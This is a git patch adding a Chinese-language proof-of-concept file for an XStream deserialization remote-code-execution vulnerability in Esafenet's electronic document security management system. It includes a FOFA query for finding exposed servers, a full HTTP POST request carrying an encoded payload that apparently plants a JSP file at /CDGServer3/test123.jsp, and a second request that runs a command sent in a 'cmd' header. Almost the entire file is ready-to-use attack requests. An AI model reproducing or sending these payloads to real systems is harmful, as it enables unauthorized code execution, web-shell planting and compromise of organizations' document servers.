From 99bd8737312ce4ac2e4969bac9852e037195f5e3 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 2 Feb 2024 15:49:13 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E4=BA=BF=E8=B5=9B=E9=80=9A=E7=94=B5?= =?UTF-8?q?=E5=AD=90=E6=96=87=E6=A1=A3=E5=AE=89=E5=85=A8=E7=AE=A1=E7=90=86?= =?UTF-8?q?=E7=B3=BB=E7=BB=9FGetValidateLoginUserService=E6=8E=A5=E5=8F=A3?= =?UTF-8?q?=E5=AD=98=E5=9C=A8XStream=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...tValidateLoginUserService接口存在XStream反序列化漏洞.md | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 亿赛通电子文档安全管理系统GetValidateLoginUserService接口存在XStream反序列化漏洞.md diff --git a/亿赛通电子文档安全管理系统GetValidateLoginUserService接口存在XStream反序列化漏洞.md b/亿赛通电子文档安全管理系统GetValidateLoginUserService接口存在XStream反序列化漏洞.md new file mode 100644 index 0000000..15e6e7c --- /dev/null +++ b/亿赛通电子文档安全管理系统GetValidateLoginUserService接口存在XStream反序列化漏洞.md @@ -0,0 +1,46 @@ +## 亿赛通电子文档安全管理系统GetValidateLoginUserService接口存在XStream反序列化漏洞 + +## fofa +``` +title="电子文档安全管理系统" +``` + +## poc +``` +POST /CDGServer3/GetValidateLoginUserService HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36 +Connection: close +Content-Length: 5094 +Accept: */* +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.8 +Content-Type: text/xml + +NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNGAHNJLKKGCLKOKEFDHDCGMFJLNBCNEMKIBPHDBEJDAGGOABMDFKBIMIFKJKGFCOHNKDNPOGOMLIKGCBDNHJCLCGGGOMLKAEPNAGGHFCBGCALOHIGGKEHKPJNEBFGMJKCJFFDMMAHGEOFPIIPOIMALJHAFMLDLBBPCBPDDMPJJHLIGHHAOLNPGGOBAMICPFHBBOOECDOEALIPLHMKEDOFFGOAHLMLAPEPJOCNGCMBAKHADFNLEDMOJNMBGNGBMBFNPLIBGDCCNMDNDNOIPOECCPELCEDPGCNKGBDFKLJLNIJNAEFOPOLBLLCHOPIJCDNGEJGPMAFCFNLGKJDPKEBNDBEOIKINLEPGFDKOMOPGLFEBCIEKKAMKDCDELEHMALGIOMHNPHOGAPDIFOBAMIGMNOFJAFJKNMFKMCHDEMEKFNPKAPMGFPGJHDGFODMBCFBFDENDBBNGEFKJINPGNFNECEKCLDPGLHFIKAABANCLNHJCBHJMFACNGCJGKMEGKGLOKNCJFCGCOAENPOFPNLNFICMADHEPJCJNHPDGKNEJAOEJPEMDPBECDEDGHAJOAJFFNEACGPGGNNMBHPHFNGFBKAOFPBIDHFKJDLLGAINKFLKAFLECNOGNLHKKALEAKOFFCKNNHGFCIKDGNNFCDGAABIBEHJBHOHGBNCKFEMICDCFPECJLALMNPNKOGBKNCHNFBFIIJJKFOPDDCCEPOHEGOCCGKBHBDCLGNOCBCEPKNIHDODJAMCOJNAJMBMMOOAMBLAJMHKOKNIKHOIMNGEJDEBLOMJDNAIMIJGODAKGPDEPLKJMMNIDEFBEKIEFNPHHLANABDCJDNDABJOLACCGIHLIEGOMBPMEFHFKHEGOAABCBGMILBBEGIGNAENNAPHACLHGBBGAOJIAONKEKADLNDMHKMOEHJIHMNDLBBGIJPKFBDDDEONMOAPLNDKFLJBFAANKFOHCPAAMNKFAMIBCPNPHHDACADINLNMPHNIBMINOKCOOBBDNGAOIHBBDMEAJFLDEFKNNFICANPLMFDDDFDPBHEEDJIDOHLGMOFFPAIPDOHJBEOIOCELLIONFDINGMBJHOHKONDILLDKJAAECACKGMDHLBLBCNAHDKNDODGCINNHMHOFHANFPFEFPJMHKDLBHHIDOHIACBMPIEDBCCHBBPHDLDPOAADBBJDDNKCHFMPIACLGOEPIHLHGLKEMEONKOHKDILLEJMNFECBHDIGAIBHDPLKBNMAFAANGMLDFIILEFKGOEGNDCMDDADCBLNPDKMEMPCLILOLAMPKIFEHCJGHHCNKBDKFGHCNGMLJKEDAJEFFKOAFFIBHNFECCKFPIFMPBAEKBFBEIPEOAHEELEAIBACBICENDKFFPMPGAPFKBBLKPEPNEKEMKBLPDJJKDCILHKPPFPBADIFDNCJEMAKCKEDNFHGJKLBEPCIMEFMHLHBMHAIMCLOOOKPHBLCFKEOGIBHHNFNFJLJDJIJLGMJLLFOBJHGOLFNFIEHPKFACCNCJFEPJHDKBIHPNHIBBEFAFOOIPDIICNBHDKNJFAJGPCGDPHOGKJLFOECHJNKPLNBNMGMNIHLPLKJCJBEIBLCFPGHNOGMBCCANGOLPBMINNIHFCFINEBNDJGIBBNIMDHAMHLLDJPCEJNKJPCPNFOFPABOEEOHMKANFEOGPAMAGLFHPNKIBMNAIKLHKCNGKDKONHGPKMFDKFOJHBMBAGLKKCIONAPNIDKINONNGHDBNCFFPAHBAPKONGPLNLDKMKJOHDPDJJJPLJDGLHGLDHELMHJDACKAKELKKEPONFKOLFKHMFIMGKHHLHDBEBEOGAFFKPLECEDGEGBGHMAKDAOPGPBBNFOAPPPKPOIILOGEMCOJMHJFGKIIOPJPPIIAPIOBGKKBLOICDAEMDAPFLEMALFBBJPJBJEFKENKFGNMBDDDBFJCOBECDCKPNCAEBAANBDHKIGKOPMCJPEOMEINECEMDPENOEAAJLMCPCHFPEKDAGLIBMKIFJCJKCAMOFILDPMOOMDDAGKPPFMPPLKIIHFPGEIIAAPLJCNKFICKFDKEKEFKOIIHLIADDJPCDJKHFAAAJNKKEKNNEJDOENAFGNAHGOHCFDLMGHMKHNKOEDFJMANPFJAKOILOJEOBMBLAOIOEFAOGJJKLOMGLACMBBMEEHIMNHGLCIFBGOKFCJAMFFIEFLLKOGEELMKMPMAKJMMOFKDJCFJGCGBDGLKDCNLGJGAHOBIPMPIFJPOIBLLAHHOBHHPGDILOENAEPPKPLEOPKMLDBCELDMFLPAJEGEIFJPMJBKEMDENGPNPCDLEDFKMKBGNLKPENBBHDMGGHNMEHHMMOOMGDOEFGANFJDDIJBHJLEBMIMILDFBLCLDIIAECKJHECJGCFJIPMHIIIDGMFLIAEPDEPJPILNDOLFFHNJFICIJOLGMIEMIBBEBPOHKJCADKMCBMHBMEGBLKCFJNAGLBNCFCJJIFOJPAEDJCPJGGMDKBDMPAHHPEFOJHCGAHLHMCBOJOEHDNJAJCOKBGKJGFHKGGHIIIIMLKMJEFELFABKCLONJPBLAMBBPHKJBEDJLLALIMLIPJFBNEGFDHPILGPCGADBNDGMNKNMOEKCAKDNFDHGPJPEJAOEHFEOKCJAMGMPCKKPJFCHECMAGIECDFLHGAJOGAELCDHNODFAALBHLGPGGFDKHINKKEGCDEDKNFHDAHMLLFMBJLPEFNGBDKIBJDFHNJKKJMLPCPJDHFNDBHGBLMMHPCFAKEDCHNOECHCKOBBOJDGKDHIFANKMLFHDPPCOBKAPMJPMOGCPJLEEMNIKPPHLNEEMIKKFGGCBBFNAMADDKMFBFDONINLMAKGKMGKKAIMAEBCJMKILBGAGIKLFBLONMCHNEHGLDNKJFELODIKPCJMDBNFDMIHAPHJLGAIDLFPKLDNMDGNLCOMMLKICBDAOFPIKEOIGAEBGOPPJKBCMKHIFNGMJCCOFFMCIMOFPLCCMNCFPHHDPAAJALBNBCOJEPFCJFJEFFNGOJKFLHGHJNBFPLODCFLBLBEKINLDNONLCLEPEHOGKFCEPKLABDJOOOABGBOBMMLLMBGOOPGDJMBEEGINKGIGCHIIILBJJFJJNIDDJCHDDLOHELOLEANPLEEHCHDOKLEIBHAPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJGKDNILPLLLHEJKJNGGDCADLNKNECJAGJLBFFAODGOMJNOPJIIEDEFBHLDLNAIBFDBJMJKFCLFOKBNCEKLKOEAEEDDMKNIEDBLJNKLAMJLOJFIJFMBOFNPMDEMBOHEDMJDGNEMGDAFFGJMPHLCGPAILFPPOLOAKOFJDMMILKLINJMIEDPFLIBNIPJMOOGNPLJNDJKJPNJKIKAMCKOMLKMELOCOFLDDJIEBGNBBLPMFNDGIHDEFAFHPJNAEPABGAOADKJMLCNLFMEPLIFKGJFPBBGHOCJDGPJFAKPIHNJJIPPBBIFJCIPGFNKBBLLGDOJGBPHKHELACOMFMJBCMEIALEBJEHDFLGPMMCEJIPIBIGGGLAMOKFKMKGJACLLNNHIPDJLHPNBJFMLBINBEOBJMLPILNJNNBLHMDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNGFPFLJJMGANGAOLPGIFAFNEEACNKMJLFHEKBBILILPEGMIODENBNOOCENDGLDCKBGEFDCL +``` +![cb7ea88ebda88620ef2217fc94d58548](https://github.com/wy876/POC/assets/139549762/01ccef1e-a582-4f6f-bf8d-a0eab7db08ac) + +访问如下文件路径: +/CDGServer3/test123.jsp + +![95f7a97fd88a8a7e0edb4d86d7071258](https://github.com/wy876/POC/assets/139549762/445391eb-7735-4b80-a706-e4f3f55ed400) + +## 回显exp +``` +POST /CDGServer3/GetValidateLoginUserService HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36 +Connection: close +Content-Length: 5094 +Accept: */* +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.8 +Content-Type: text/xml +cmd:whoami + +NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHEIMJEJFNLCABIFGFPFBJNHELIHOAABDJJGBAIOIIHKJFCAHCDOBJGDKFLIECMAEIGDHHGBKNPCNNPHDFNBCMAANJINKGBFPKODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEMKFMFOLBDFEHBMNFKPEPFLOFEAKKBDMGMADOLNAGJPHJFFNPNDAAILEOOKIJEPIKBADMJFMHDEDDMCOAAOKDOCJDODLLHFGPJHKIMDCGKDEGLPJFPONAHGIDJFHOMECJNEHOPJMJCPBCNFGBGMIBOMCEOCLICPNDBENFBIJLKOAJGGJAOAMBKBLLIEPKFBBFEGEKDIHAGABAPMDCGMNCGOEAPDEMGFGCMBABCHNGOKPHBPGNOEPMFNLBIOFENGMDECBOMCOCKBOEBABDDGGDDKCMKIGEPAAMEPOLKLPELJBDPBIPPEHDBNEKNBBFJCPCMLNIIMIABLOFOPCFECPHAAFGICIHFPLPEDIAAKDHBJKALFGOAICKHCGLFHPBCIMFJHNAAKCJELFBENHILFIBNLBMOBAECHLGHGOAMFGLMIHLKPHKCNIPCHPIIDDDFFPPILKJCLCLKOJJEMCCIHINBODKCJBNMCAOMMANDEFGIJNMBNPKDNAPNAHPGNJFNNBPFEFHEBPKMPNANFHHMEGCHDHJIKDOHMGKDIMFMOAIBNHDOLIFGFDBHBFLGCFIHCHOCMDJMKGLBPNLAFCBLBEDIAEMFFHBPKCLJJPAHOOJFIFAKGDGJBIHODGHPGGFAMPKBMEIMEOHGFECNECEGPIECDOMIMANCKHIEGPHMNKCPLHGOFNEKADBNDDHFLDFNOJIKDPDLAJOLLHACLKLLFMKCGHJPODHPADJDKMLDBPNINIAPNOMMLNJJFHCPMMHOOPIHOGNIMLBJGECJKLOMIEBCGJIPHJOOEDGAOEOCIJPLKMKGGHFABFEMPMCCNJILHCDCAFKAKEECEOAEDIIIGNFGPDLJIHHCLCNIFNEPKDEMLKMIBOAIAMIAPGFNPNKJPJHODJPBPPMICHCJAFNPBMPJLKHONFBLAENNPFGNJEAONPBKBKANLNGIPGKLKNHIFGIDGICJGDFPHCMBDDIFNNAJEOPEHAJKLLGBDJFGDEOAONGEJKBLCLDEOHNOOLPALDGKFLIMGFGBEGLADHEAJPMLIMMDBMMPPGGOJIPKFABGJGKDEDDMAFMJLFJNNFNIIICKFKNBNECAMHIDKGMFOGEJOBGDNKLEJACEMJCFHOGLIPKPMIMOIFBHPMIJCMCGGLAEPCADKFIGOIPPMKBHKOEKKDPNKMOGAIOLNHAFLPFGGOIBJOCFPFBNLDLCDDDNOHCFAGIINMODPDMJMCNACOLFMFAHMEHLHCGHEKOGBONJDCENNOFNFHCNFBKFEEENKPPALKBMMLNAICGBDLCDDDGHJPBJBOJMKODLGKIMCDLGKDJMLHPDJJANBCBACEKADHNJDNBMJFONJPLIAIBIIFBEKMOEFNEFJBLGODHHCFHENJOCPHKMBIGPBCEFHIJJFCFAJMALBCGMDHAJADKDCNEKIHEIPMJOMDIJLJNJMEAIFOMKCBBKOCEMEGONHMJNNLNCOCEEIIMPINAFPHDHCFPKFIIMOCHLOJIGADNKPFKNNBJLGONEHIFKHGCBMFGOLFGNMDALCBJHEDIJDHJMDFOBPGENGKKHLMFJONJMKIPDANNIIPPOHLMNJOMHEBIEHOMDBADIJIFMOIHFMAPEBNKJHCLFHNBBFADCOCEEIIMPINAFPHDHCFPKFIIMOCHLOJIECJLIDMENJEPMEGEEJCMHDEMIBKAHAAIGDNJNLHGGKOKGBDPIABKACOBJCJNFGCJJHFPKOKLJCAOFHHMLNNFJCPHPBIGJFLGHMMAONIJOJEAABMJGALHMKHIOBMBLKCEEHDGMAHOGPABHCJJIFCIPNKBOGLCAHJHAOBPNHIFEALILNKLNCCHPOHPLDDAOPALFKLPIELNFFKOMLDPAKBJHHPGJBOCGEJJODPBNBBCIPEEDCDLDPOIAGKPJFDACNABAJBLPDBEDFNFFGOHFMPPKOHPBFAKAELINPMDBEOLFMBBIJOKPDIIHAOOBDINHNNOOHIPGPEBHFCCKAGNJOGENOPFAAEMPGDMJKJJAAIPCPNBANEDLMCKAJCJANCAMENKKHGDPOCHKAHGNLCGEAABHNPLJLEDGOFAGMAPNONIHDPLCAMFNEANKMOBAKOGBHPIHEKOGBONJDCENNOFNFHCNFBKFEEENKPPALKBMMLNAICGBDLCDDDGHJPBJBOJMKODLGKIMCDLGKDJMLHPDJJANBCBACEKADHNJDNBMJFONJPLIAIBIIFBEKMOEFNEFJBLGODHHCFHENJOCPHKMBIGPBCEFHIJJFCFOJECEKOOICDCIPMENHBBNEOHFOLIPOHCNMDPEDNAAJHOAAFKGKDLDPFLMDOGELECCOCEEIIMPINAFPHDHCFPKFIIMOCHLOJIECJLIDMENJEPMEGEEJCMHDEMIBKAHAAIAOBMGLOMOIBCIHPKBOHLLLAEMEKCLFLDFCCDILCENFCAFIHFGBNOHKAKEGMJPCENEBOEBBIKACIBLIFAHNAIJGLFMOKAJCDGEPHANKKIFKKGPIBBDGJOGNLCPGOBGLKJLMBFKOPFNJELEBEGOCPOKBFLCJDIEGGHPKJOHMFHKOHGCOLGCCIBFEFJMIAJBCHHFKOLEGLJPOKIIIAEIEBELPNGIGMHJBIIPFGFBMKLAEHENLNPMPEMHKKDGMGHMOJLHEGAMJMBFAMFIIKKELADDKNMBIIMIMDFABGBBCPKAHIJHGDKJNKDEJADEDLBFJHCFAOCHCMIGNHGGGLEOKGPNEKFOLHMPPLAELLDHMCEBOPJPPJEAMANANCPPACDGLJGHDJLDIHPDGCDLBCDPEKABHKLAOMBKMNFGJMOCFEHALLCJLLGNDFGJBLBPOOMPNJBDDPMPIFCKKANJKPENHJMCIBDCEIIOMBKJCBEHGJKFKCCDMKLLHLGIPPADKDJCNBGFADBALDGCCKOELIDMDNAPIPFEGHOHAGJCPNJFAJKKJACBNNOAILHPJELIMGDAMLGNCEIMGKPDDGPHECHPGGGMOKDKLELBLJPBHAJKKCOKHMPMNIMCPDHLKPIDJKLEDFKBCOLGGAGPGPMJHAPMBLAELECIAAKCDCLCDENCDMIDDODJMBFMOEKKOLMDDPMACGKJBFLKPIMMKEFCMMGLMGDFGIEOKBMDIOFDCEHFHBODOCGCGGOGHICAIHBNFGDPDOAKCIBFEDJODGDIIIHODMOONNNMHOALAADFONFJOJKBEKJPJGBOMDFDGMCKPDMFLIDHKKCBGIMBLNFOMENNMNGLNGDKHFGFDOOHNOAJDFGMGLAHFAHJAMKBJOCMKAOGMIOMDLEAKJOGCGEACHLFDLEJFJNNBLKLMGLODCPBODBBFDOMGMFMALDMHAGNOMEMIOLEPNNPAOOAGADCIFCHPPNABGDHBJHNIEHMOKIJLOFFCEAJKNENFFCEKGLPJOMJNLNOKJGJKDEJFFGKHPGMENKMMOPKNLJGBMNHDEAGKMLCIFMMALEHOGADHMGMCGEACNJPONPPPFCGHKINCLHNHBLECGGCBOEBJGBBMJIHDKJIADBEKAMEEOGMCMOBPKAGLIKPHLDEFMJDAPEFBAGIBPHHOEDOEGGNAGOLNLOLAMCNIPDKEFMNJKFAKENEJHEJGKMEIFIFIHNNIALCBIEJIEMALMIJPOKKIIICBAJDALIKONHOMABNOKMNPOIDIJPEKNOCDALMJLMNDKNLGDKBMDMJNDODLHKPHOHHBJHBODMOPGDCOOEJPGGAHJPDLAJAJANPDBIMAEDCDGDMBFGINGBHNKKJBILHCIHMEKINJPKPJGCCPFOIKBEOOIBHNMGJBCMCOPEBOAKGAKGEMJLLGMOJPEFMHFKANJIAGHGIAKIJJBGNFPIMCBPBAHPOKEFLFPFAKLGIOOBDCKKEIJHABLEKEILGJIDHGKGDLHNKIBCEMPHAOADGCHJBCLGDOFKGABFJKDDEFOOPHBCHDHBOANOAHCBFBNKGAEDGANHADDPCEHJDJKCFIMKIEPDDFEMIMPKOLNLMDNOELPCHDJAPMHLJPPBGADECBEDENADMECNLFGDLAADEJKGPPMKLKKNOFLEJGAJCOEDFOHPBCGHCDCGHLIHAOGEBMFMPLKDIKHMFPNJNNEMIFNNHAEIIHOOFJDDBHALHCOADFDGJKNGOGFODAJFIJHMILPEDOPMIKBPAFEOHMLKDFJMKEPDOPFLEDGDDJNCLDKPKOJHMBOOLAJKILDMOGHBNNKLJFMCFGHEOGOLAIBJCMBKEJFNGLNGJMBJJOLOANEIGLHCDIGADJMAMCIDHKMLMLNMGOGOEJKAHHKEHPENLGALCGPPFBKOPDGDLDEGPMLCCONFLCCKPPDADOPNNMDICMLMLFEBHHFDLGGJPCBPBJKICNILKANABEDBOOAMCFELAJAHKGBOBDHMHHDMJNGODAOHKEDDLLCOOGBBMEAEIDLNGCCECGEGJLKLIMKNHPIOPKGCLAOAOPKMNIAHIPAOHEHHGLPDEFNHGEBGBMLMLKMCFHLPKLHAAIINJMJANDNMOIAABAGPAONJJJBMEPEJEFHGFGHKDIOAHEEKIDPEBDMGDIMICJMHBOFLMDDAABPDHGJJMPBFEOJLJNKOCHLPHBJJKDAHMNHLCEHIPLPKIGNBLGLPDKIGBENLNPEMPNKKAIPBHBGBKHAKHLKJNJJCBINLAFFEDIBDDCPMBBJDBJHNDBDMNICEDLHCCFDNEGJPJMLJELINCGDDLJPDINGGDMDPGGNINKJHCFFLAACEMIJGMKLFLDAGMHFAABLHCGKKEFCNOODOFDLMJBNFFHLFCBHJCEDMCEEPPJBHFCCFGKKONCOADPEPJCKDCJDLBDIGKJNLCPIMOECLAPIDAHDHMBLFJDLBPGJAABBFAMOPKJDNLLCBIGHEENNNLOKMIKDLDAKIEFNONBMCLKEMAKBPMDJDKGKPPIOMANGIMMFALKEDLBIMKMHCFMDEONJHJNNLFFEKOOLGOFLDMELHEOMADGINEPPMBLFMFCPACDDEBHDALNMEEIPEJMIHPKOFGPKIFOKPHBHDACAKCINIMCBGDICCCJCHFCBPKHFKOAHOPOEAHKOPHOBNCBEKCECGGDJOBHLCEFFBPGICNPPAIBLMIJLIKKOJOFDKNCPGIJGEHAKAGENCGAFGNKCEMMCDNKPBKPAGIEBJLNDHGNJFLPLAFBCPCDLEPCKHGCEBEHEAHKNKOHOHEFFDMDHCJLGJEDCKJHOOLLDBPKIHGDDBHCGLCMJGHDMBJKOJGOKMPAGGIFHLEOJHFIHAEDBPAMKKBEHPFAAEALIJPDLPNIJGFFAOGBIGMGMFOADHEONENJMFLMHNJABCKFAIFOMDKGELFDAFJIENCFDMDEECJIALEALHENBJBIICGJCNFIANOMIBLGPGLILLDNOLINONHLGCOFKDCEOOAAFKBPBHAFHOJMMBFGBNCKFCOBEJIPIGLFEABLKJDGHEGLGKHAEEJLJGHCLGAHELPCBCOLNBEDGHKPDLGCHKCBGKOALKHCCCEIDCPHKIKEJLGPLAIKOANJLCOGDGLIDFDOFFPLJMMBFCOHAEHPDLNOGOGMDAHHENNODJONEJLAJIMNPAINCLIAMENAMEPLPJKPDJDPNEJKEPKGMNGJFNHMMHJIAJOICEAMGLEKONJMMFLLBOLJOEJCBGBMMHECABNCCHFJKELFNFHHGPLCGPJEOMNNCKLHJKNGDOICJHDLEBOIKIBGDBBNOMFFOMHJJDBJCHMIFNCFOKDOJDEKFMLEPPMKPPIIKOEPFCCPKDPMEDNKJNHCKCOLJGENCADJBHBLDAOOAJHKJOOLGDOCECFKGJKGANCLPGONMDFFLNBNKIADDBCPABCMJDBMOKJIBDEMHLFEEHACDNJGJIPEOJEPHANKKIFKKGPIBBDGJOGNLCPGOBGLKJBFPNPHEACPENELHKKNOMFNFFCOCFADFCEFDEGIGLGKDLKMLJKHKGGMAMHJCCPLNALPNMEODIHNLAMEIPGLCHCFHFOCNHEDNNBBGGJJGOAEIJNPADAHCFPLNFEILCGABFFAJJKHKJPGLAKOFEILHIJOOGBGAMNKBEFKLPIELNFFKOMLDPAKBJHHPGJBOCGEJJODPBNBBCIPEEDCDLDPOIAGKPJFDACNABJBGPFIBOHKMKOOOADLBIDCDLGMLEOGGOHBNGNGCCAAKBLEKLLPOHIJPKPPDDGCBMDKJBDIKFCLHCMKAMLMAFHOCDJPNJMJOHMIELFDAKCGEKDKDGCKEBEJDKAAJJGJGKOKIKANDKDKJEDNCOFICCNIKBBBIIHAPPHBJHBODMOPGDCOOEJPGGAHJPDLAJAJANJDFOEIMNPKJINNOCMKGJIFHDNOLINKOCKEAOAGANLBADJIOAPAHPNGJLEIFJCIOOOMDGCHNHBICAEIFPAEMJCLOEPGAMPDAPKMMPFBACMPNGCMLBHMADMCDOBAGIGODIFGMEDDFJFMBEEKCCBHNEJEMNNKKOJCOJOAEGAOJFGPOCMKJCPCLNDHOOIKFKMAOELNLNFECOHEAGJCAMNMHDPGDBFCNJHJDDBJLDDEGDEOGLLOFHEGJGLBEHLPIJBMKPPLKCPJFFKIJOGMKDIINECCOBMFJMLEMBOBGPBJCGOMBHLAAPCMJOKNADJOAGABMCNMNAABMPLDLBIMNEMLLGCBMELGCKKKLNEADHFBLICJGMMODDGEDIDJHMHHIDBLMPDDMLFAEPIBHJMCELHMEAOEODFGPFIJMLBDFCBLMJPKCNLGJJPAGICHJAPBCLKDJJBFGOOPCKCEPEFNCGPMBDBGBPCBMEOBGHBOEEHILIPLODBMBEHNGKMLFKJOCBPKAMCBOKBOHOLFFMPGMJNHLKLBKNKCBILMHFGFHEHCCAFAEGHDABEBOEJMGLHBJODINGJNIIKEGNEAGEOJDAFGKLJIAJCEDOPLPMFAGKPJMIDONFAIMNAFPABPIFAJNAPDOFIMODEHMIHBPNFGIMIPILBFICGLGJHEAKDHLJMLBICPAAFLFJCPFDBMEPIMJLEFFPIEJJAEKCAJFFLFELEHDILFNHFDPPBPCJNPLDLLAEHNCACKNFHHNLKCFKJOBMNJKOICHMMLEBLKIMMEMAFAJOJDFLINJMMPPNMHFDKHFCILDJGOGGEBIJJGKPHBFDBAKDAPLOLBAPDIDLIJIJJEFLOILJGMEMHOELDMCBKMBFDMDHFEDAEDIHPILLDEFDPLGNKGAKPEJBKGICLDPNMFPHIJLMPEINLFAEKKMOLCCCNHJOOJGDLNIJOLKMKADKLBFLMLJMHDGOMNKOLFLAMFEPHNGICLKNOJEOEFIPOBLMOMJAGIHLMBHFHNENHJBGDDMDNAAABFDKMHFLHBKOJPHBAKECNELHEDLHJBJJFJMJBCNJGIAMLGNAJPOMLJHLGOIHMFFLAALKJJGKIADGABJKHEOCFKNMMPEGMGDIPJGJFJJKDLCIHGFEKLHGGDFHBNANCENMJMOFKADJDBFKNMBFPAAJDFLKJMIIBNMJANIIPBABAGEPCOBOEAMBILOIHGCMPLIHPOCOFPCAHMOJJFPAMPFDIAGAPKNEAIBAJPEOPDPKODKGICBBEODCEMCJINJAGODFMDJHMBBACNDKCDNALFOEGLHFJJEDFEKNOKNEGLPLCIODGGDCICOHIKHJKHGFGMBPKMEBOGPNPBIILCNIHPDMMECAMEKCFFHHLHAFKPOKIBKLHGCBLDFALMPDDEPFIEJJAEKCAJFFLFELEHDILFNHFDPPBPCJINEELIDAONAJDLCOHOEECCGGJOCGKJEIGAPGGABBCFFDMCEKGLIBOPNILIDDOMFDBKAOELDBFIFIOBPKCGCDBDAOJFGNNBGPAOHOABHOFAGFGCODINMAOIFFIDKLLCAENDJPCJJPEHMLJEKKGFBIPFILEMKNAPOHNGCOGCFHDOMJBOHGOFAMNKGJMICFKKHDOJILCDCEJJLFNIOECKBFNENMJKHBBLAC